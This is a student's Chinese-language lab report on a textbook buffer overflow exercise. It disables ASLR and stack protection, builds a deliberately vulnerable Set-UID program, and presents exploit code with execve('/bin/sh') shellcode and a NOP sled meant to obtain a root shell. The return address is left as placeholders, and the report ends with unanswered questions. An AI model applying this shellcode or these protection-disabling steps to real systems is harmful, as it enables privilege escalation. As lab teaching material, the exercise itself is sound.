缓冲区溢出漏洞实验
缓冲区溢出漏洞实验
- 在自己的ubuntu上做的时候一堆错误,百度解决无果后,在实验楼上完成了此次实验。、
安装一些用于编译32位C程序的东西
- 在安装的过程中,出现了输入linux32出现了source:not found,仔细检查指令无问题后,个人认为是没有安装成功,再次输入指令还是提示source:not found。
- 后面结束实验退出,在进入,再退出在进入,还是一样的,在第四次是提示取消
初始设置
- Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键
- 所以我们需要关闭地址空间随机化来随机堆(heap)和栈(stack)的初始地址使用sudo sysctl -w kernel.randomize_va_space=0
设置zsh程序
为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:
- 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
- shellcode代码的汇编版本:
漏洞程序
- 把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
-
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
-
编译该程序,并设置SET-UID。GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。
- 命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
攻击程序
-
我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。
-
把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
- 注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址,输入命令:
gdb stack
disass main
攻击结果
问题
- 缓冲区漏洞能有多大危害
- 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
- 原理:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
- root权限是什么
- root权限,系统权限的一种,也叫根权限,与SYSTEM权限可以理解成一个概念,但高于Administrator权限,root是Linux和unix系统中的超级管理员用户帐户,该帐户拥有整个系统至高无上的权力,所有对象他都可以操作。获得root权限之后就意味着已经获得了系统的最高权限,这时候你可以对系统中的任何文件(包括系统文件)执行所有增、删、改、查的操作。
- 获得root权限之后就可以为所欲为。
心中未解答的疑问
- exploit.c中覆盖缓冲区用了24个\x90,为什么是这么多个,是怎么计算出来的?
- strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");怎么知道esp中是str的起始地址